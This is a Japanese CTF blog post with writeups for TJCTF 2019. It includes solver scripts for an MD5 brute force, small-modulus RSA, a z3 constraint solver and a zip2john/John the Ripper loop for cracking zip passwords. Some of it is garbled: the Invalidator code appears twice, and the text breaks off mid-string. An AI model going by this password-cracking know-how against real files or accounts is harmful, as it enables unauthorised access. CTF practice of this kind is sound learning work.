みつのCTF精進記録

プログラム書いたりCTFやったりするゆるゆるなブログです。

TJCTF 2019 Writeup

はじめに

TJCTF 2019にStarrySkyとしてKaitoさんと参加しました。はじめの頃はかなりいい順位をキープできていましたが段々と失速していき、最終的に30位という結果に落ち着いてしまいました。
以下、自分が解いた問題+αのwriteupを書いていきます。

[Cryptography 5pts] Double Duty

--
Everyone knows that caesar ciphers aren't very good. So I caesared my message 2000 times. Good luck trying to decode that!
yfn uzu pfl tirtb dp katkw{jvbivk_tfuv}
--

ROT17です。復号します。
how did you crack my tjctf{sekret_code}

[Forensics 5pts] MC Woes

--
My world won't launch anymore! I'm sure its something in the files...
--
__ "my world.zip" __

zipを展開するとファイルがたくさんでてきました。
worlddataディレクトリの中のlevel.datというファイルの中にフラグが隠されていました。

$ strings wordldata/level.dat | grep tjctf
tjctf{_g3t_sn4ck5}

[Cryptography 5pts] Touch Base

--
Decode this string for an easy flag!
Encoded: dGpjdGZ7ajJzdF9zMG0zX2I0c2U2NH0=
--

Base64です。復号します。

$ echo dGpjdGZ7ajJzdF9zMG0zX2I0c2U2NH0= | base64 -d
tjctf{j2st_s0m3_b4se64}

[Forensics 5pts] Corsair

--
Here is a picture of my favorite plane!
--
__ corsair.jpg __

画像ファイルが渡されます。stegsolveでBlue Planeを抽出します。
f:id:mi__tsu:20190410185204j:plain

[Reversing 10pts] Python in One Line

--
It's not code golf but it's something...
one.py This is printed when you input the flag: .. - / .. ... -. - / -- --- .-. ... / -.-. --- -.. .
--
__ one.py __

one.pyを読むと、アルファベットが..や/などにそのまま対応してるのがわかります。
tjctf{jchiefcoil}

[Cryptography 10pts] Spotmanship

--
It is simply this: do not tire, never lose interest, never grow indifferent—lose your invaluable curiosity and you let yourself die. It's as simple as that.” “I'm a liar and a cheat and a coward, but I will never, ever, let a friend down. Unless of course not letting them down requires honesty, fair play, or bravery.
ciphertext: ROEFICFEENEBZDLFPY
key: UNPROBLEMATICDFGHKQSVWXYZ
Flag format is tjctf{plaintext}
--
最初はビジュネル暗号かなにかかと思ってましたが、ぐぐってみるとどうやらプレイフェア暗号といういかにもな名前の暗号があるらしい。
複合する。
tjctf{practicalplayfairx}

[Cryptography 10pts] Guess My Hashword

--
I bet you'll never guess my password!
I hashed tjctf{[word]} - my word has a captial letter, two lowercase letters, a digit, and an underscore. ex: hash('tjctf{o_0Bo}') or hash('tjctf{Aaa0_}')
Here's the md5 hash: 31f40dc5308fa2a311d2e2ba8955df6c
--

どうやら大文字、数字、アンダーバーが一文字、小文字が二文字の文字列がmd5でハッシュ化されてるらしいです。文字数が少ない上条件もついてるのでブルートフォースしていきます。
ソルバどぺー

import hashlib
import itertools
import  sys

words_capital = [chr(i) for i in range(65, 65+26)]

words_lower1 = [chr(i) for i in range(97, 97+26)]
words_lower2 = [chr(i) for i in range(97, 97+26)]

words_num = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]

words_under = ["_"]

wordlist = [words_capital, words_lower1, words_lower2, words_num, words_under]

target = "31f40dc5308fa2a311d2e2ba8955df6c"

nums = [0, 1, 2, 3, 4]
for b in itertools.permutations(nums, 5):
    for i in itertools.product(wordlist[b[0]], wordlist[b[1]], wordlist[b[2]], wordlist[b[3]], wordlist[b[4]]):
        s = "".join(i)
        s = "tjctf{" + s + "}"
        h = hashlib.md5(s.encode()).hexdigest()
        #print (h)
        if h == target:
            print(s)
            sys.exit()

実は最初、tjctf{}を含まない文字列がハッシュ化されていると思って無限に時間を溶かしていました。うーん…

[Cryptography 20pts] Easy as RSA

--
Decrypt this for a quick flag!
--
__ rsa.txt __

rsa.txtには公開鍵と暗号文が書いてあります。nの値がとても小さいので簡単に素因数分解できました。
コードどぺー

# Coding: utf-8
import gmpy2

def egcd(a, b):
    (x, lx) = (0, 1)
    (y, ly) = (1, 0)
    while b != 0:
        q  = a // b 
        (a, b) = (b, a % b)
        (x, lx) = (lx - q * x, x)
        (y, ly) = (ly - q * y, y)
    return lx 

def modinv(e, fai):
    return egcd(e, fai) % fai

n = 379557705825593928168388035830440307401877224401739990998883
e = 65537
c = 29031324384546867512310480993891916222287719490566042302485

p = 564819669946735512444543556507
q = 671998030559713968361666935769
fai = (p - 1) * (q - 1)
d = modinv(e, fai)
m = pow(c, d, n)
s = "".join(map(chr, int(m).to_bytes(math.ceil(m.bit_length() / 8), "big")))
print(s)

tjctf{RSA_2_3asy}

[Miscellaneous 20pts] Journey

--
Every journey starts on step one
nc p1.tjctf.org 8009
--

netcatで接続すると"Encountered 'hoge'"とか言われるのでhogeを入力として渡してあげれば次に次にと進めます。
ただ、10分ほど経つと接続が切れてしまい最後まで入力し切ることができませんでした。
色々実験していると、'hoge'のあとは必ず'nyaa'、'nyaa'のあとは必ず'unya'となるようで、接続が切れた後も途中から始めることができました。
ソルバどぺー

from pwn import *
import re 

r = remote("p1.tjctf.org", 8009)

cnt = 0
while True:
    s = r.recv(0x100)
    log.info(s)
    s = re.split("[ \n]", s)
    s = s[1][1:-1]
    if cnt == 0:
        s = "context"
    log.info(s)
    r.sendline(s)
    cnt += 1

tjctf{an_38720_step_journey}

[Forensics 20pts] All the Zips

--
140 zips in the zip, all protected by a dictionary word.
--
__ all_the_zips.zip __

zipが渡されるので解答します。するとたくさんのパスワード付きzipがでてきました。
all protected by a dictionary word と言われてるのでjohn the ripperを使って全部パスワードを解除してあげました。辞書ファイルはcracklib-smallというものを使いました。
さすがに手動でやるのは酷だったのでシェルスクリプトを書いて自動化しました。
パスワードを見つけるやつ。

#!/bin/sh

for file in `\find . -maxdepth 1 -type f`;
do
    hashname="${file}.hash"
    echo $hashname
    zip2john $file > $hashname
    john -wordlist=/usr/share/dict/cracklib-small $hashname --rules
done

全部unzipしていくやつも書いたんですが間違って消しちゃったのでないです(泣)

[Forensics 30pts] Mind Blown

  • -

One of my friends keeps sending me weird memes from his favorite subreddit but I don't quite understand this one...

  • -

__ meme.jpg __

meme.jpgをバイナリエディタで開いてみるとjpgファイルのヘッダの部分が複数個見つかりました。
試しに一つずつ消して見るとフラグが手に入りました。これすごい
f:id:mi__tsu:20190410201746p:plain
f:id:mi__tsu:20190410201753j:plain
f:id:mi__tsu:20190410202028p:plain
f:id:mi__tsu:20190410201854j:plain
f:id:mi__tsu:20190410202121p:plain
f:id:mi__tsu:20190410202111j:plain

[Reversing 30pts] Checker

--
Found a flag checker program that looked pretty sketchy. Take a look at it.
--
__ Checker.java __

どうやら文字列を1010みたいな形に変換しているようだ。
javaのコードを読んでみると、文字を二進数にした後ビット反転し、それで出てきた二進数自体を文字列と見て9文字分だけ後ろにくっつけていることがわかった。
コードどぺ

1111101: }
110011:  3
1100011: c
110001:  1
1110011: s
1101011: k
1100011: c
110001:  1
1110101: u
1110001: q
1111011: {
1100110: f
1110100: t
1100011: c
1101010: j
1110100: t

こんな感じになる。実はこれを満たすようなものがいくつかあって、最後は少しだけえすぱーが必要になった。
tjctf{qu1cks1c3}

[Reversing 40pts] Broken Parrot

--
I found this annoying parrot. I wish I could just ignore it, but I've heard that it knows something special.
--
__ parrot __

32bitのELFファイルが渡されるので試しに実行してみます。
どうやら入力を受け取った後それをそのまま表示するものっぽいです。逆アセンブルしてみてみると入力された文字列がフラグだったとき、"You got my flag!"と表示するようです。
"tjctf{my_b3l0v3d_5qu4wk3r_w0n7_y0u_l34v3_m3_4l0n3}" という文字列がdataセクションに格納されているらしく、この文字列をベースに受け取った文字列をチェックしているっぽいです。
アセンブリを頑張って読むと、ベース文字列を加工して"tjctf{"、"3d_"、"d"、"0n7_y0u_"、"m3_4l0n3"をつなげたものと比較していることがわかりました。
tjctf{3d_d0n7_y0u_l34v3_m3_4l0n3}

[Forensicas 40pts] Cable Selachimorpha

--
Although Omkar is the expert at web, I was still able to intercept his communications. Find out what password he used to login into his website so that we can gain access to it and see what Omkar is up to.
--
__ capture.pcapng __

stringsします

& strings capture.pcap  | grep tjctf
usr=omkar&pwd=tjctf%7Bb0mk4r_br0k3_b10n%7D

URLエンコーディングされてるので直します。
tjctf{Bb0mk4r_br0k3_b10n}

[Reversing 50pts] Comprehensive

--
Please teach me how to be a comprehension master, all my friends are counting on me!
Original output: 225, 228, 219, 223, 220, 231, 205, 217, 224, 231, 228, 210, 208, 227, 220, 234, 236, 222, 232, 235, 227, 217, 223, 234, 2613
--
__ comprehensive.py __

チーム開発で書いたら物議を醸しそうなpythonのソースが渡されます。
内包表記を全部展開してあげると次のようになりました。

#Original output: 225, 228, 219, 223, 220, 231, 205, 217, 224, 231, 228, 210, 208, 227, 220, 234, 236, 222, 232, 235, 227, 217, 223, 234, 2613

m = 'tjctf{?????????????????}'.lower()
k = '????????'.lower()

"""
f = [[ord(k[a]) ^ ord(m[a+b]) for a in range(len(k))] for b in range(0, len(m), len(k))]
g = [a for b in f for a in b]
"""

g = []
for i in range(24):
    g.append(ord(m[i]) ^ ord(k[i % 8]))
print(g)

# h = [[g[a] for a in range(b, len(g), len(f[0]))] for b in range(len(f[0]))]
h = []
for b in range(len(f[0])):
    x = []
    for a in range(b, len(g), len(f[0])):
        x.append(g[a])
    h.append(x)

# i = [[h[b][a] ^ ord(k[a]) for a in range(len(h[0]))] for b in range(len(h))]
i = [0]*24
cnt = 0
for a in range(8):
    for b in range(3):
        i[cnt] = (g[b * 8 + a] ^ ord(k[b]))
        cnt += 1
print(i)

x = []
for b in i:
    for a in b:
        x.append(a + ord(k[0]))
print(x)
t = []
for a in m:
    t.append(ord(a))
y = sum(t)

print(str(x)[1:-1])
print(y)

これで最終的な出力が問題文の通りになるようなフラグを求めればいいことがわかります。z3pyでゴリゴリソルバを書きました。
コードどぺー

from z3 import *


m = [BitVec("m%d" % i, 8) for i in range(24)]
k = [BitVec("k%d" % i, 8) for i in range(8)]

s = Solver()

for i in range(24):
    s.add(Or(And(m[i] >= 33, m[i] <= 64), And(m[i] >= 91, m[i] <= 126)))

for i in range(8):
    s.add(Or(And(k[i] >= 33, k[i] <= 64), And(k[i] >= 91, k[i] <= 126)))


s.add(m[0] == 116) # t
s.add(m[1] == 106) # j
s.add(m[2] == 99)  # c
s.add(m[3] == 116) # t
s.add(m[4] == 102) # f
s.add(m[5] == 123) # {
s.add(m[23] == 125) # }

g = [BitVec("g%d" % i, 8) for i in range(24)]
for i in range(24):
    s.add(g[i] == (m[i] ^ k[i % 8]))

i = [BitVec("i%d" % j, 8) for j in range(24)]
cnt = 0
for a in range(8):
    for b in range(3):
        s.add(i[cnt] == g[b * 8 + a] ^ k[b])
        cnt += 1

x = [BitVec("x%d" % j, 8) for j in range(24)]
for j in range(24):
    s.add(x[j] == i[j] + k[0])

list = [225, 228, 219, 223, 220, 231, 205, 217, 224, 231, 228, 210, 208, 227, 220, 234, 236, 222, 232, 235, 227, 217, 223, 234]
for j in range(24):
    s.add(x[j] == list[j])

sum = 0
for j in range(24):
    sum += m[j]

s.add(sum == 2613)

print(s.check())
model = s.model()

for i in range(24):
    print(chr(model[m[i]].as_long()), end="")

tjctf{oooowakarimashita}

[Reversing 70pts] Invalidator

--
Come one, come all! I offer to you unparalleled convenience in getting your flags invalidated!
--
__ Invalidator __


32bitのELFファイルが渡されるので実行してみます。引数にフラグを渡して、それがちゃんとしたフラグだったら"Valid Flag"と言われるようです。
アセンブルしてフラグチェック部分だけ適当にでコンパイルしてみるとこんな感じになります。

r ="M\x00\x00\x00q\x00\x00\x00Y\x00\x00\x00¡\x00\x00\x00»\x00\x00\x00@\x00\x00\x00ù\x00\x00\x00\x0e\x00\x00\x00K\x00\x00\x00\x85\x00\x00\x00¨\x00\x00\x00:\x00\x00\x00Ê\x00\x00\x00R\x00\x00\x00\x9c\x00\x00\x00\x82\x00\x00\x00\x14\x00\x00\x00\x8a\x00\x00\x00Ê\x00\x00\x00w\x00\x00\x00¨\x00\x00\x00Ì\x00\x00\x00\x81\x00\x00\x00$\x00\x00\x00ù\x00\x00\x00ÿ\x00\x00\x00\x08\x00\x00\x00U\x00\x00\x00N\x00\x00\x00P\x00\x00\x00q\x00\x00\x00\x9f\x00\x00\x00%\x00\x00\x00ð\x00\x00\x00\'\x00\x00\x00Å\x00\x00\x00\x11\x00\x00\x00:\x00\x00\x00L\x00\x00\x00\x88\x00\x00\x00´\x00\x00\x00ß\x00\x00\x00Ï\x00\x00\x00\x84\x00\x00\x004\x00\x00\x00 \x00\x00\x00i\x00\x00\x00º\x00\x00\x00\x8d\x00\x00\x00\x0f\x00\x00\x00ö\x00\x00\x00\x85\x00\x00\x00Å\x00\x00\x00½\x00\x00\x00ä\x00\x00\x00º\x00\x00\x00\x08\x00\x00\x00:\x00\x00\x00ö\x00\x00\x00ö\x00\x00\x00f\x00\x00\x00\x08\x00\x00\x00´\x00\x00\x00ô\x00\x00\x00ó\x00\x00\x00\x93\x00\x00\x00\t\x00\x00\x00E\x00\x00\x00~\x00\x00\x00[\x00\x00\x00y\x00\x00\x00\x02\x00\x00\x00\x87\x00\x00\x00Å\x00\x00\x00v\x00\x00\x00^\x00\x00\x00d\x00\x00\x00ð\x00\x00\x00\x9b\x00\x00\x00p\x00\x00\x00\x83\x00\x00\x00\x91\x00\x00\x00L\x00\x00\x00Ã\x00\x00\x00<\x00\x00\x00Ý\x00\x00\x00\x10\x00\x00\x00¾\x00\x00\x00\x98\x00\x00\x00\x8f\x00\x00\x00\x17\x00\x00\x00\x0f\x00\x00\x00ð\x00\x00\x00º\x00\x00\x00&\x00\x00\x00n\x00\x00\x00¨\x00\x00\x00õ\x00\x00\x00Z\x00\x00\x00\x81\x00\x00\x00è\x00\x00\x00U\x00\x00\x00\x8d\x00\x00\x001\x00\x00\x00ç\x00\x00\x00J\x00\x00\x00\x07\x00\x00\x00C\x00\x00\x005\x00\x00\x00\x86\x00\x00\x00z\x00\x00\x00Ý\x00\x00\x00\xad\x00\x00\x00a\x00\x00\x00K\x00\x00\x00è\x00\x00\x005\x00\x00\x00\x9e\x00\x00\x00\x0f\x00\x00\x00ø\x00\x00\x00K\x00\x00\x00Õ\x00\x00\x00\x0e\x00\x00\x003\x00\x00\x001\x00\x00\x00ï\x00\x00\x00ð\x00\x00\x00\x00\x00\x00\x00\x94\x00\x00\x00¤\x00\x00\x00b\x00\x00\x00^\x00\x00\x00Ö\x00\x00\x00W\x00\x00\x00\x06\x00\x00\x00Ý\x00\x00\x00ñ\x00\x00\x00Ò\x00\x00\x00\x02\x00\x00\x00h\x00\x00\x00¡\x00\x00\x00ù\x00\x00\x00å\x00\x00\x00\x8f\x00\x00\x00÷\x00\x00\x00¨\x00\x00\x00e\x00\x00\x00·\x00\x00\x00>\x00\x00\x00\x9c\x00\x00\x00$\x00\x00\x00\x03\x00\x00\x00@\x00\x00\x00\x98\x00\x00\x00\x9e\x00\x00\x00\x96\x00\x00\x00¢\x00\x00\x00\x05\x00\x00\x00¨\x00\x00\x00)\x00\x00\x00ø\x00\x00\x00ç\x00\x00\x00I\x00\x00\x00è\x00\x00\x00H\x00\x00\x00b\x00\x00\x00^\x00\x00\x00\x00\x00\x00\x00/\x00\x00\x00¤\x00\x00\x00J\x00\x00\x00ß\x00\x00\x00¹\x00\x00\x00Ö\x00\x00\x00Ï\x00\x00\x00è\x00\x00\x00\x15\x00\x00\x00ê\x00\x00\x00n\x00\x00\x00Ç\x00\x00\x00\xad\x00\x00\x00ð\x00\x00\x00í\x00\x00\x00\x9c\x00\x00\x00I\x00\x00\x00á\x00\x00\x00¡\x00\x00\x00c\x00\x00\x00°\x00\x00\x00#\x00\x00\x00Á\x00\x00\x00ô\x00\x00\x00ñ\x00\x00\x00~\x00\x00\x00*\x00\x00\x00\x8f\x00\x00\x00R\x00\x00\x00\x94\x00\x00\x00µ\x00\x00\x00\x81\x00\x00\x00Z\x00\x00\x008\x00\x00\x00V\x00\x00\x00ë\x00\x00\x00\x1b\x00\x00\x00g\x00\x00\x00Ø\x00\x00\x00C\x00\x00\x00]\x00\x00\x00ã\x00\x00\x00Å\x00\x00\x00ü\x00\x00\x00å\x00\x00\x00\x94\x00\x00\x00q\x00\x00\x00\\\x00\x00\x00G\x00\x00\x00¤\x00\x00\x00\x06\x00\x00\x00>\x00\x00\x00\n\x00\x00\x00þ\x00\x00\x00\x17\x00\x00\x00§\x00\x00\x00Ý\x00\x00\x00\x9a\x00\x00\x00f\x00\x00\x00Ý\x00\x00\x00Ç\x00\x00\x00\x8a\x00\x00\x00¨\x00\x00\x00\x1f\x00\x00\x00Ý\x00\x00\x00¢\x00\x00\x00É\x00\x00\x00Ô\x00\x00\x00ö\x00\x00\x00Ê\x00\x00\x00\x8f\x00\x00\x00j\x00\x00\x00ï\x00\x00\x00e\x00\x00\x00\x1c\x00\x00\x00ì\x00\x00\x00\x05\x00\x00\x00\x90\x00\x00\x00d\x00\x00\x00{\x00\x00\x00\x92\x00\x00\x00\x8e\x00\x00\x00A\x00\x00\x00^\x00\x00\x00\x97\x00\x00\x00\x95\x00\x00\x009\x00\x00\x00_\x00\x00\x00`\x00\x00\x00\x18\x00\x00\x00`\x00\x00\x00\x10\x00\x00\x00(\x00\x00\x00Q\x00\x00\x00\x92\x00\x00\x00î\x00\x00\x00\x80\x00\x00\x00\x8b\x00\x00\x00þ\x00\x00\x00V\x00\x00\x00"\x00\x00\x00\x96\x00\x00\x00n\x00\x00\x00ã\x00\x00\x00¸\x00\x00\x00\x95\x00\x00\x00¦\x00\x00\x00q\x00\x00\x00R\x00\x00\x00G\x00\x00\x00ä\x00\x00\x00\x95\x00\x00\x00Æ\x00\x00\x00\x95\x00\x00\x00÷\x00\x00\x00L\x00\x00\x00W\x00\x00\x00\x8f\x00\x00\x00_\x00\x00\x00\xad\x00\x00\x006\x00\x00\x00J\x00\x00\x00ß\x00\x00\x00\x1c\x00\x00\x003\x00\x00\x00\x14\x00\x00\x00o\x00\x00\x00U\x00\x00\x00\x10\x00\x00\x000\x00\x00\x00\x95\x00\x00\x00û\x00\x00\x00\x02\x00\x00\x00µ\x00\x00\x00\xad\x00\x00\x00Ó\x00\x00\x00\x02\x00\x00\x00\x82\x00\x00\x00Ë\x00\x00\x002\x00\x00\x00\x11\x00\x00\x00\x83\x00\x00\x00Ì\x00\x00\x00U\x00\x00\x00\x8b\x00\x00\x00b\x00\x00\x00×\x00\x00\x00,\x00\x00\x00\x8d\x00\x00\x00\x10\x00\x00\x00ð\x00\x00\x00!\x00\x00\x00Ï\x00\x00\x00L\x00\x00\x00\x0b\x00\x00\x00Î\x00\x00\x006\x00\x00\x00=\x00\x00\x00ø\x00\x00\x006\x00\x00\x00\x83\x00\x00\x00\x8a\x00\x00\x00\x8f\x00\x00\x00»\x00\x00\x00\xa0\x00\x00\x00r\x00\x00\x00ö\x00\x00\x00i\x00\x00\x00ÿ\x00\x00\x00µ\x00\x00\x00ú\x00\x00\x00ñ\x00\x00\x00^\x00\x00\x00\'\x00\x00\x00Ö\x00\x00\x00\x85\x00\x00\x00Ð\x00\x00\x00p\x00\x00\x00>\x00\x00\x00¸\x00\x00\x00»\x00\x00\x009\x00\x00\x000\x00\x00\x00|\x00\x00\x00Æ\x00\x00\x00k\x00\x00\x00\x01\x00\x00\x00\x83\x00\x00\x00\x01\x00\x00\x00\x9a\x00\x00\x00*\x00\x00\x00è\x00\x00\x00Ô\x00\x00\x00\x86\x00\x00\x00\x01\x00\x00\x00\xa0\x00\x00\x00"\x00\x00\x00\x9c\x00\x00\x00f\x00\x00\x00\x89\x00\x00\x00Õ\x00\x00\x00î\x00\x00\x00(\x00\x00\x00+\x00\x00\x00e\x00\x00\x00Ó\x00\x00\x00ã\x00\x00\x00Ü\x00\x00\x003\x00\x00\x00&\x00\x00\x00o\x00\x00\x00\x02\x00\x00\x00ò\x00\x00\x00ó\x00\x00\x00L\x00\x00\x00á\x00\x00\x00\x84\x00\x00\x00¶\x00\x00\x00\x17\x00\x00\x00x\x00\x00\x00©\x00\x00\x00S\x00\x00\x00c\x00\x00\x00ä\x00\x00\x00¬\x00\x00\x00±\x00\x00\x00\x87\x00\x00\x00t\x00\x00\x00\'\x00\x00\x00y\x00\x00\x00\x82\x00\x00\x00[\x00\x00\x00¢\x00\x00\x00\x9d\x00\x00\x00\r\x00\x00\x00M\x00\x00\x00*\x00\x00\x00\x8b\x00\x00\x00h\x00\x00\x00-\x00\x00\x00²\x00\x00\x00\x07\x00\x00\x00\x17\x00\x00\x00\x9a\x00\x00\x00w\x00\x00\x00U\x00\x00\x00\'\x00\x00\x00[\x00\x00\x00¢\x00\x00\x00B\x00\x00\x00\x1e\x00\x00\x008\x00\x00\x00?\x00\x00\x00%\x00\x00\x00\x0f\x00\x00\x00\x06\x00\x00\x00\x91\x00\x00\x00X\x00\x00\x00\x16\x00\x00\x00{\x00\x00\x00E\x00\x00\x00J\x00\x00\x003\x00\x00\x00¥\x00\x00\x00\x05\x00\x00\x00\r\x00\x00\x00m\x00\x00\x00e\x00\x00\x00Â\x00\x00\x00\x7f\x00\x00\x00M\x00\x00\x00\x19\x00\x00\x00Ê\x00\x00\x00\x02\x00\x00\x00Í\x00\x00\x00ß\x00\x00\x00l\x00\x00\x00\x81\x00\x00\x00\xad\x00\x00\x00Å\x00\x00\x00ø\x00\x00\x00*\x00\x00\x00j\x00\x00\x00¾\x00\x00\x00;\x00\x00\x00\x1e\x00\x00\x00Ó\x00\x00\x007\x00\x00\x00ø\x00\x00\x00ï\x00\x00\x00\x94\x00\x00\x00ý\x00\x00\x00(\x00\x00\x00\x94\x00\x00\x00©\x00\x00\x00\x89\x00\x00\x00F\x00\x00\x00\x87\x00\x00\x005\x00\x00\x00\x17\x00\x00\x00L\x00\x00\x00Õ\x00\x00\x00Á\x00\x00\x00ë\x00\x00\x00¾\x00\x00\x00I\x00\x00\x00\x86\x00\x00\x00\x1c\x00\x00\x00A\x00\x00\x00Ù\x00\x00\x00X\x00\x00\x006\x00\x00\x00\x1f\x00\x00\x00\x0f\x00\x00\x00ö\x00\x00\x00q\x00\x00\x00d\x00\x00\x00Ù\x00\x00\x00Q\x00\x00\x00\x80\x00\x00\x00t\x00\x00\x00Õ\x00\x00\x00×\x00\x00\x00q\x00\x00\x00¿\x00\x00\x00Ô\x00\x00\x00\x8d\x00\x00\x00J\x00\x00\x00W\x00\x00\x00ý\x00\x00\x00ù\x00\x00\x00Ç\x00\x00\x00½\x00\x00\x00ö\x00\x00\x00p\x00\x00\x00×\x00\x00\x00¬\x00\x00\x00×\x00\x00\x00.\x00\x00\x00s\x00\x00\x00\x1e\x00\x00\x00Ì\x00\x00\x00¢\x00\x00\x00ê\x00\x00\x00"

bool strcmp(char *__s1, char *__s2) {
    int cnt = 0;

    while(r[(cnt * 4 + 2) * 4] == r[(cnt + 0x40) * 0x10] ^ __s2[cnt] ^ __s1[cnt * 0x10] && __s2[cnt] != 0) {
        cnt ++;
    }
    if(cnt == 0x28) return true;
    else return false;
}

main() {
    strcmp("tjctf{0h_my_4_51mpl370n_4_r3d_h3rr1n6_f0r_7h33}", input);"

bool strcmp(char *__s1, char *__s2) {
    int cnt = 0;

    while(r[(cnt * 4 + 2) * 4] == r[(cnt + 0x40) * 0x10] ^ __s2[cnt] ^ __s1[cnt * 0x10] && __s2[cnt] != 0) {
        cnt ++;
    }
    if(cnt == 0x28) return true;
    else return false;
}

main() {
    strcmp("tjctf{0h_my_4_51mpl370n_4_r3d_h3rr1n6_f0r_7h33}", input);
}

ソルバどぺー

r = 'M\x00\x00\x00q\x00\x00\x00Y\x00\x00\x00¡\x00\x00\x00»\x00\x00\x00@\x00\x00\x00ù\x00\x00\x00\x0e\x00\x00\x00K\x00\x00\x00\x85\x00\x00\x00¨\x00\x00\x00:\x00\x00\x00Ê\x00\x00\x00R\x00\x00\x00\x9c\x00\x00\x00\x82\x00\x00\x00\x14\x00\x00\x00\x8a\x00\x00\x00Ê\x00\x00\x00w\x00\x00\x00¨\x00\x00\x00Ì\x00\x00\x00\x81\x00\x00\x00$\x00\x00\x00ù\x00\x00\x00ÿ\x00\x00\x00\x08\x00\x00\x00U\x00\x00\x00N\x00\x00\x00P\x00\x00\x00q\x00\x00\x00\x9f\x00\x00\x00%\x00\x00\x00ð\x00\x00\x00\'\x00\x00\x00Å\x00\x00\x00\x11\x00\x00\x00:\x00\x00\x00L\x00\x00\x00\x88\x00\x00\x00´\x00\x00\x00ß\x00\x00\x00Ï\x00\x00\x00\x84\x00\x00\x004\x00\x00\x00 \x00\x00\x00i\x00\x00\x00º\x00\x00\x00\x8d\x00\x00\x00\x0f\x00\x00\x00ö\x00\x00\x00\x85\x00\x00\x00Å\x00\x00\x00½\x00\x00\x00ä\x00\x00\x00º\x00\x00\x00\x08\x00\x00\x00:\x00\x00\x00ö\x00\x00\x00ö\x00\x00\x00f\x00\x00\x00\x08\x00\x00\x00´\x00\x00\x00ô\x00\x00\x00ó\x00\x00\x00\x93\x00\x00\x00\t\x00\x00\x00E\x00\x00\x00~\x00\x00\x00[\x00\x00\x00y\x00\x00\x00\x02\x00\x00\x00\x87\x00\x00\x00Å\x00\x00\x00v\x00\x00\x00^\x00\x00\x00d\x00\x00\x00ð\x00\x00\x00\x9b\x00\x00\x00p\x00\x00\x00\x83\x00\x00\x00\x91\x00\x00\x00L\x00\x00\x00Ã\x00\x00\x00<\x00\x00\x00Ý\x00\x00\x00\x10\x00\x00\x00¾\x00\x00\x00\x98\x00\x00\x00\x8f\x00\x00\x00\x17\x00\x00\x00\x0f\x00\x00\x00ð\x00\x00\x00º\x00\x00\x00&\x00\x00\x00n\x00\x00\x00¨\x00\x00\x00õ\x00\x00\x00Z\x00\x00\x00\x81\x00\x00\x00è\x00\x00\x00U\x00\x00\x00\x8d\x00\x00\x001\x00\x00\x00ç\x00\x00\x00J\x00\x00\x00\x07\x00\x00\x00C\x00\x00\x005\x00\x00\x00\x86\x00\x00\x00z\x00\x00\x00Ý\x00\x00\x00\xad\x00\x00\x00a\x00\x00\x00K\x00\x00\x00è\x00\x00\x005\x00\x00\x00\x9e\x00\x00\x00\x0f\x00\x00\x00ø\x00\x00\x00K\x00\x00\x00Õ\x00\x00\x00\x0e\x00\x00\x003\x00\x00\x001\x00\x00\x00ï\x00\x00\x00ð\x00\x00\x00\x00\x00\x00\x00\x94\x00\x00\x00¤\x00\x00\x00b\x00\x00\x00^\x00\x00\x00Ö\x00\x00\x00W\x00\x00\x00\x06\x00\x00\x00Ý\x00\x00\x00ñ\x00\x00\x00Ò\x00\x00\x00\x02\x00\x00\x00h\x00\x00\x00¡\x00\x00\x00ù\x00\x00\x00å\x00\x00\x00\x8f\x00\x00\x00÷\x00\x00\x00¨\x00\x00\x00e\x00\x00\x00·\x00\x00\x00>\x00\x00\x00\x9c\x00\x00\x00$\x00\x00\x00\x03\x00\x00\x00@\x00\x00\x00\x98\x00\x00\x00\x9e\x00\x00\x00\x96\x00\x00\x00¢\x00\x00\x00\x05\x00\x00\x00¨\x00\x00\x00)\x00\x00\x00ø\x00\x00\x00ç\x00\x00\x00I\x00\x00\x00è\x00\x00\x00H\x00\x00\x00b\x00\x00\x00^\x00\x00\x00\x00\x00\x00\x00/\x00\x00\x00¤\x00\x00\x00J\x00\x00\x00ß\x00\x00\x00¹\x00\x00\x00Ö\x00\x00\x00Ï\x00\x00\x00è\x00\x00\x00\x15\x00\x00\x00ê\x00\x00\x00n\x00\x00\x00Ç\x00\x00\x00\xad\x00\x00\x00ð\x00\x00\x00í\x00\x00\x00\x9c\x00\x00\x00I\x00\x00\x00á\x00\x00\x00¡\x00\x00\x00c\x00\x00\x00°\x00\x00\x00#\x00\x00\x00Á\x00\x00\x00ô\x00\x00\x00ñ\x00\x00\x00~\x00\x00\x00*\x00\x00\x00\x8f\x00\x00\x00R\x00\x00\x00\x94\x00\x00\x00µ\x00\x00\x00\x81\x00\x00\x00Z\x00\x00\x008\x00\x00\x00V\x00\x00\x00ë\x00\x00\x00\x1b\x00\x00\x00g\x00\x00\x00Ø\x00\x00\x00C\x00\x00\x00]\x00\x00\x00ã\x00\x00\x00Å\x00\x00\x00ü\x00\x00\x00å\x00\x00\x00\x94\x00\x00\x00q\x00\x00\x00\\\x00\x00\x00G\x00\x00\x00¤\x00\x00\x00\x06\x00\x00\x00>\x00\x00\x00\n\x00\x00\x00þ\x00\x00\x00\x17\x00\x00\x00§\x00\x00\x00Ý\x00\x00\x00\x9a\x00\x00\x00f\x00\x00\x00Ý\x00\x00\x00Ç\x00\x00\x00\x8a\x00\x00\x00¨\x00\x00\x00\x1f\x00\x00\x00Ý\x00\x00\x00¢\x00\x00\x00É\x00\x00\x00Ô\x00\x00\x00ö\x00\x00\x00Ê\x00\x00\x00\x8f\x00\x00\x00j\x00\x00\x00ï\x00\x00\x00e\x00\x00\x00\x1c\x00\x00\x00ì\x00\x00\x00\x05\x00\x00\x00\x90\x00\x00\x00d\x00\x00\x00{\x00\x00\x00\x92\x00\x00\x00\x8e\x00\x00\x00A\x00\x00\x00^\x00\x00\x00\x97\x00\x00\x00\x95\x00\x00\x009\x00\x00\x00_\x00\x00\x00`\x00\x00\x00\x18\x00\x00\x00`\x00\x00\x00\x10\x00\x00\x00(\x00\x00\x00Q\x00\x00\x00\x92\x00\x00\x00î\x00\x00\x00\x80\x00\x00\x00\x8b\x00\x00\x00þ\x00\x00\x00V\x00\x00\x00"\x00\x00\x00\x96\x00\x00\x00n\x00\x00\x00ã\x00\x00\x00¸\x00\x00\x00\x95\x00\x00\x00¦\x00\x00\x00q\x00\x00\x00R\x00\x00\x00G\x00\x00\x00ä\x00\x00\x00\x95\x00\x00\x00Æ\x00\x00\x00\x95\x00\x00\x00÷\x00\x00\x00L\x00\x00\x00W\x00\x00\x00\x8f\x00\x00\x00_\x00\x00\x00\xad\x00\x00\x006\x00\x00\x00J\x00\x00\x00ß\x00\x00\x00\x1c\x00\x00\x003\x00\x00\x